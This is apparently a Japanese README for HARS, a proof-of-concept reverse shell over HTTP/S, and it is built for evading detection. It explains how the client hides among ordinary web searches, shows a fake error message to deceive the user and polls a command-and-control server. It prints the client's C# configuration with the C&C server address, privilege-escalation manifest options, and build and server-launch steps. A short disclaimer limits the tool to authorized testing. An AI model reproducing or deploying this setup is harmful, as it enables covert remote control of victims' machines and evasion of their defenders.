
[POC] HTTPプロトコルを使用した非同期リバースシェル。

IDS、IPS、EDR、AV、ファイアウォールといった高度な検知システムが企業ネットワークを支配する時代において、オフェンシブセキュリティアセスメント中にそれらを回避することは課題です。ほとんどのリバースシェルはTCPトンネル(L4)を利用しており、現在では日常的に分析されフラグが立てられています。
このプロジェクトは革新的なソリューションを提供します: 正規のユーザー行動を模倣することで通常のWebトラフィックに溶け込む、HTTP/S上の完全非同期リバースシェルです。
従来のリバースシェルとは異なり、GETリクエストのみを使用し、通常のWebクエリとして見え、オプションで偽の正当な証明書を使用したHTTPSで実行でき、検出の可能性を最小限に抑えます。
クライアントは指示を受け取るまでサーバーに問い合わせます。
攻撃者がサーバーに指示を提供します。
コマンドが定義されると、クライアントはそれを実行し結果を返します。
そしてこれを繰り返し、攻撃者がセッションを終了するまで続きます。
このツールは、許可されたセキュリティテストのための概念実証デモツールとしてのみ意図されています。このツールを実行する前に現地の法律をご確認ください。
現時点では、PoCとして以下の機能が実装されています:
HARS.sln を開きます。Config.cs を編集します: class Config
{
/* Behavior */
// Display a fake error msg at startup
public static bool DisplayErrorMsg = true;
// Title of fake error msg
public static string ErrorMsgTitle = "This application could not be started.";
// Description of fake error msg
public static string ErrorMsgDesc = "Unhandled exception has occured in your application. \r\r Object {0} is not valid.";
// Min delay between the client calls
public static int MinDelay = 2;
// Max delay between the client calls
public static int MaxDelay = 5;
// Fake uri requested - Warning : it must begin with "search" (or need a change on server side)
public static string Url = "search?q=search+something&qs=n&form=QBRE&cvid=";
/* Listener */
// Hostname/IP of C&C server
public static string Server = "https://127.0.0.1";
// Listening port of C&C server
public static string Port = "443";
// Allow self-signed or "unsecure" certificates - Warning : often needed in corporate environment using proxy
public static bool AllowInsecureCertificate = true;
}
オプション: HARS.manifest を編集して権限レベルを調整します。
requestedExecutionLevelはasInvoker、highestAvailable、またはrequireAdministratorに設定できます。
プロジェクトのプロパティ
ここではアセンブリ情報とファイルのアイコンをカスタマイズできます。
注: ターゲットの.NET Frameworkバージョンは4.6に設定されており、これはWindows 10でデフォルトで利用可能です。
Windows 7の場合は、不足している機能をインストールしたくない場合は.NET 3.5を選択してください。
Visual Studioからプロジェクトをビルドします。
クライアントは Http Asynchronous Reverse Shell\HARS_Client\HARS\bin\Release フォルダに生成されます。
完了!
HARS_Server/www/ 内の HARS_Server.py を編集してポートまたは証明書パスをカスタマイズします。PORT = 443
CERT_FILE = '../server.pem'
python HARS_Server.py
-HTTPログは Http Asynchronous Reverse Shell\HARS_Server\logs にあります。
-独自のテンプレート(任意のHTMLページ)を Http Asynchronous Reverse Shell\HARS_Server\templates に追加できます。
@onSec-fr